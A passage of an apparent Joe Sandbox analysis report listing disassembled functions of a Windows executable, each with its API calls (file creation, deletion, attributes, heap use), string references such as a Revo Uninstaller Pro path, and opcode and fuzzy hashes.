Part of subcall function 00FE1432: CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,?,00000000,?,00FDAB7B,?,?,00000000,?,?,?), ref: 00FE1484

Part of subcall function 00FE9A8D: SetCurrentDirectoryW.KERNEL32(?,00FE9CE4,C:\Program Files\VS Revo Group\Revo Uninstaller Pro,00000000,010185FA,00000006), ref: 00FE9A91

SHFileOperationW.SHELL32(?,?,?,?,?,010185FA,00000006), ref: 00FE9D36

Strings

C:\Program Files\VS Revo Group\Revo Uninstaller Pro, xrefs: 00FE9CDA

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: CompareCurrentDirectoryFileOperationString
String ID: C:\Program Files\VS Revo Group\Revo Uninstaller Pro
API String ID: 3543741193-2410753234
Opcode ID: f31882dc081ce5e9c64cada86b39a56e2da7848e2ac60afa1a9fb8f03af12801
Instruction ID: 74fcde6cd04bc2072d95d309a43ea8e20cf53b36d83152388b6db36c1aaa778e
Opcode Fuzzy Hash: f31882dc081ce5e9c64cada86b39a56e2da7848e2ac60afa1a9fb8f03af12801
Instruction Fuzzy Hash: 6F017571D4029965DB21ABE5DC0AEDF73BCEF08710F000466F645E3142E6FD9A449BA5

Function 00FF281A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00FF282F

Strings

FlsAlloc, xrefs: 00FF281E, 00FF2828

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: try_get_function
String ID: FlsAlloc
API String ID: 2742660187-671089009
Opcode ID: 0c828d6a5101e3fb2fe55a2d9507028a97e8ab6588037f98864c5d3f4d19ef4b
Instruction ID: 1aed2fe31522218a830035554a3fca66d680d8839413a892e8b4451195769363
Opcode Fuzzy Hash: 0c828d6a5101e3fb2fe55a2d9507028a97e8ab6588037f98864c5d3f4d19ef4b
Instruction Fuzzy Hash: 3CD02B31B8132C63D51232C67C029AA7F088B00BB1F015063FF4CA9142D5D90C0062D5

Function 00FED7DA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FED7EC

Part of subcall function 00FED53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FED5B7
Part of subcall function 00FED53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FED5C8

Strings

3Ro, xrefs: 00FED7DA, 00FED7E6

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 3Ro
API String ID: 1269201914-1492261280
Opcode ID: 19ca2d97b2de8b3d720338f3ac7775cd1f7b5c66ca378fb070aaa50009e0144d
Instruction ID: 0d6aa7dca1377519d8dcf55480a6f3f1f853c2431d6abd7b7323a4a680796a0b
Opcode Fuzzy Hash: 19ca2d97b2de8b3d720338f3ac7775cd1f7b5c66ca378fb070aaa50009e0144d
Instruction Fuzzy Hash: 8CB01282368681FD30067283AE02C37020CD1D0B3C730840FF444C44C6D4459C412031

Function 00FD644C Relevance: 3.2, APIs: 2, Instructions: 187COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00FD64A0
_strlen.LIBCMT ref: 00FD64FB

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: _memcmp_strlen
String ID:
API String ID: 2682527083-0
Opcode ID: 3d08641e980d69e625634e8e02d798a51ae55842b5efb60c040b4d7eb3c6c822
Instruction ID: 50fa6068321ec506bc96ae7e3d0c558088cc03326e7b63f601a156de1294eb63
Opcode Fuzzy Hash: 3d08641e980d69e625634e8e02d798a51ae55842b5efb60c040b4d7eb3c6c822
Instruction Fuzzy Hash: F251D873504344ABDB20EA50DC89FDBB3EDAB89700F08093EF989D7252DA39E544D766

Function 00FD1382 Relevance: 3.1, APIs: 2, Instructions: 96COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FD1382

Part of subcall function 00FD5E99: __EH_prolog.LIBCMT ref: 00FD5E9E

Part of subcall function 00FDC4CA: __EH_prolog.LIBCMT ref: 00FDC4CF
Part of subcall function 00FDC4CA: new.LIBCMT ref: 00FDC512
Part of subcall function 00FDC4CA: new.LIBCMT ref: 00FDC536

new.LIBCMT ref: 00FD13FA

Part of subcall function 00FDAD1B: __EH_prolog.LIBCMT ref: 00FDAD20

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 44631df13c2e7893f4bec552b3f4b6bb4ffa2d3171462db5041f8034c3859b15
Instruction ID: 5ecfc486bf7966052acd9abe04a4ff7438c4705c51421f47955c161d937718e9
Opcode Fuzzy Hash: 44631df13c2e7893f4bec552b3f4b6bb4ffa2d3171462db5041f8034c3859b15
Instruction Fuzzy Hash: ED4155B1805B409EE720DF798885AE6FBE6FF19300F544A2ED5EE83282CB366554CB11

Function 00FD137D Relevance: 3.1, APIs: 2, Instructions: 94COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FD1382

Part of subcall function 00FD5E99: __EH_prolog.LIBCMT ref: 00FD5E9E

Part of subcall function 00FDC4CA: __EH_prolog.LIBCMT ref: 00FDC4CF
Part of subcall function 00FDC4CA: new.LIBCMT ref: 00FDC512
Part of subcall function 00FDC4CA: new.LIBCMT ref: 00FDC536

new.LIBCMT ref: 00FD13FA

Part of subcall function 00FDAD1B: __EH_prolog.LIBCMT ref: 00FDAD20

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 5353660e0434e771c8b0ed7f1cd3e2181be3edd9ea533872666ff1c593aded82
Instruction ID: bfbec0c63f6ff6d5e22a8a8a310bec3756a8e50f3c0c670dd0f99008b12105d1
Opcode Fuzzy Hash: 5353660e0434e771c8b0ed7f1cd3e2181be3edd9ea533872666ff1c593aded82
Instruction Fuzzy Hash: D34137B1805B409EE724DF798885AE6FBE6FF19300F544A2ED5EE83282CB366554CB11

Function 00FFA6B2 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00FF8516: GetLastError.KERNEL32(?,010100E0,00FF3394,010100E0,?,?,00FF2E0F,?,?,010100E0), ref: 00FF851A
Part of subcall function 00FF8516: _free.LIBCMT ref: 00FF854D
Part of subcall function 00FF8516: SetLastError.KERNEL32(00000000,?,010100E0), ref: 00FF858E
Part of subcall function 00FF8516: _abort.LIBCMT ref: 00FF8594

Part of subcall function 00FFA7D1: _abort.LIBCMT ref: 00FFA803
Part of subcall function 00FFA7D1: _free.LIBCMT ref: 00FFA837

Part of subcall function 00FFA446: GetOEMCP.KERNEL32(00000000,?,?,00FFA6CF,?), ref: 00FFA471

_free.LIBCMT ref: 00FFA72A
_free.LIBCMT ref: 00FFA760

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: c198be3fd69c6bac0e10fe0ddf45a1f99fdbc5723a468fc46286a352559ca7fb
Instruction ID: 5800947ac8c633864641c050c36240b1b2373ebb1f85692a3978089c939e7701
Opcode Fuzzy Hash: c198be3fd69c6bac0e10fe0ddf45a1f99fdbc5723a468fc46286a352559ca7fb
Instruction Fuzzy Hash: 5031A472D0420CAFDB11FBA8D881B79B7F4DF40360F254099E6089B2B1EB7A5E41EB51

Function 00FD9528 Relevance: 3.1, APIs: 2, Instructions: 86fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000000,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00FD9BF3,?,?,00FD76AC), ref: 00FD95B0
CreateFileW.KERNEL32(?,00000000,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00FD9BF3,?,?,00FD76AC), ref: 00FD95E5

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ed8d9ac9ddeaba694ff9f5c196f7cdff9aba18992dcd262e65e80d7672ff6067
Instruction ID: f23d2ca59e311ca12740d4559f1e4ee5eb7c5da352c26f3567021b9e41c4ae33
Opcode Fuzzy Hash: ed8d9ac9ddeaba694ff9f5c196f7cdff9aba18992dcd262e65e80d7672ff6067
Instruction Fuzzy Hash: 86213AB1408348AFE7318F54DC45BA777E9EB45364F08492EF5D5822C2C3B9AC48EB61

Function 00FD9A7E Relevance: 3.1, APIs: 2, Instructions: 82timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,?,00FD738C,?,?,?), ref: 00FD9A98
SetFileTime.KERNEL32(?,?,?,?), ref: 00FD9B48

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: b312acef44cd49da49875c4daef4bf41cc4417bd317b8bf5b58d81a0ed7cb323
Instruction ID: d7d6904eb9ad1cf1164f8ca6bbc5a835e3999854824b55c4e82ca04ee82b5f8c
Opcode Fuzzy Hash: b312acef44cd49da49875c4daef4bf41cc4417bd317b8bf5b58d81a0ed7cb323
Instruction Fuzzy Hash: 8121E73264C386AFC711DF64C891AABBBD5AF91314F08091EB8C0C7241D7ADDD48E791

Function 00FD9B57 Relevance: 3.1, APIs: 2, Instructions: 54COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00FD9B8D
GetLastError.KERNEL32 ref: 00FD9B99

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 0f79ddaeca8bed68c3c49e74000ed0bc97e5d98405b25acba6b4df5aef0d35d4
Instruction ID: 75b8b93fe2185113c1ec8a405262095b8c8b60b82e4ee29ebd9e454e1bdc850c
Opcode Fuzzy Hash: 0f79ddaeca8bed68c3c49e74000ed0bc97e5d98405b25acba6b4df5aef0d35d4
Instruction Fuzzy Hash: B70180717042006BD7349E69EC8876AB6DBAB84324F19453FB182C2784CAB5D948D621

Function 00FD9903 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(000000FF,?,?,?), ref: 00FD9957
GetLastError.KERNEL32 ref: 00FD9964

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: e7b50c24b20409c705866b538c437279c42922a68aad3c3e1f2997847b2b9e28
Instruction ID: defd0cc55a409a811446275123b57f17632c8760122c8f16644e80e1e4395bbb
Opcode Fuzzy Hash: e7b50c24b20409c705866b538c437279c42922a68aad3c3e1f2997847b2b9e28
Instruction Fuzzy Hash: 8201B5726082159B8B199EA58CA46BE775BAF4133070D421FF9268B351DAB1DC01F762

Function 00FF7B78 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00FF7B99

Part of subcall function 00FF7A8A: RtlAllocateHeap.NTDLL(00000000,?,?,?,00FF2FA6,?,0000015D,?,?,?,?,00FF4482,000000FF,00000000,?,?), ref: 00FF7ABC

HeapReAlloc.KERNEL32(00000000,?,?,?,?,010100E0,00FDCB18,?,?,?,?,?,?), ref: 00FF7BD5

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: f9a560fa517fb9256f9fd654bf329d9f36b88568ec00cf19c81fd0dae611aeaf
Instruction ID: 335fe35aa12d0a0f53f5ac437922179a91f876e25c343bb20b1f04f361779b3b
Opcode Fuzzy Hash: f9a560fa517fb9256f9fd654bf329d9f36b88568ec00cf19c81fd0dae611aeaf
Instruction Fuzzy Hash: 1BF0623290931D6ADB313A25AC41F7FF759AFC3BB0B150156FF54A61B8DB28D800B1A1

Function 00FE0574 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 00FE0581
GetProcessAffinityMask.KERNEL32(00000000), ref: 00FE0588

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: f39e7c3752ca2a9aed68098070e64a70034e63be15575158fa48ef9e8d4cbc18
Instruction ID: 5a2daea63843e7fcab993edb6a1ff12301b929adcfdf7a7e225d05835ee335e0
Opcode Fuzzy Hash: f39e7c3752ca2a9aed68098070e64a70034e63be15575158fa48ef9e8d4cbc18
Instruction Fuzzy Hash: 74E09B32E10345A79F258AE598059AB73ADDA48311F14517AB942D3300FD75DD415FA4

Function 00FDA12F Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNEL32(?,00000000,00000001,?,00FD9F65,?,?,?,00FD9DFE,?,00000001,00000000,?,?), ref: 00FDA143
SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00FD9F65,?,?,?,00FD9DFE,?,00000001,00000000,?,?), ref: 00FDA174

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: dc481d476bfff1823c2254caab360f36e00a3ceaaa1e7ea0f1ae963b57dd1e30
Instruction ID: 5823058a0a654b8c65e08fa14006de5956ddaf9230738bba16b7b2d5a63bb40f
Opcode Fuzzy Hash: dc481d476bfff1823c2254caab360f36e00a3ceaaa1e7ea0f1ae963b57dd1e30
Instruction Fuzzy Hash: 5AF0A031141219ABDF129F60DC44BEA376EAB04391F488052BC8C86256DB32CD99FF90

Function 00FECB57 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00FECB85
SetDlgItemTextW.USER32(00000065,?), ref: 00FECB9C

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ItemText_swprintf
String ID:
API String ID: 3011073432-0
Opcode ID: 12f763d07d89eca883834af105533b47eb2b920ee2ba59703e72e72daa64dc3b
Instruction ID: 3df2d4297244b2c13b0ffeacf21dd36467d88379a5704d1f52844462af738475
Opcode Fuzzy Hash: 12f763d07d89eca883834af105533b47eb2b920ee2ba59703e72e72daa64dc3b
Instruction Fuzzy Hash: 4DF0EC315043C82ADB21ABB1DC07F993B1D9704741F040496BA0452192D57F6A21A772

Function 00FD9E18 Relevance: 3.0, APIs: 2, Instructions: 28fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,?,00FD9648,?,?,00FD94A3), ref: 00FD9E29
DeleteFileW.KERNEL32(?,?,?,00000800,?,?,00FD9648,?,?,00FD94A3), ref: 00FD9E57

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 6bc61a865eb9881101cf40a128ef79a7ef17b5d1b71fc421d01777ee89ba61a3
Instruction ID: 6db33c4cd417c6b3ce46e744d8a30b426905b9b1328f4a630b0caf3b8a3fcbd8
Opcode Fuzzy Hash: 6bc61a865eb9881101cf40a128ef79a7ef17b5d1b71fc421d01777ee89ba61a3
Instruction Fuzzy Hash: 09E02230540208ABDB12DF60DC48FE9335DAB08391F888062B888C2242DBB2CC98FA60

Function 00FD9E7F Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,?,?,00FD9E74,?,00FD74F7,?,?,?,?), ref: 00FD9E90
GetFileAttributesW.KERNEL32(?,?,?,00000800,?,00FD9E74,?,00FD74F7,?,?,?,?), ref: 00FD9EBC

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: fdccbad881748667340aafe867572e30e344cae662eeb6d5c10fbb7ca19874a7
Instruction ID: c528487c4fbe65d3443944ad04d12a027a69b089a12eb624933b70e0c9d69a32
Opcode Fuzzy Hash: fdccbad881748667340aafe867572e30e344cae662eeb6d5c10fbb7ca19874a7
Instruction Fuzzy Hash: 29E0653190022897DB21EA689C04BD977599B083A1F044262FD94D3285D6759D459BE0

Function 00FDFCFD Relevance: 3.0, APIs: 2, Instructions: 25libraryCOMMON

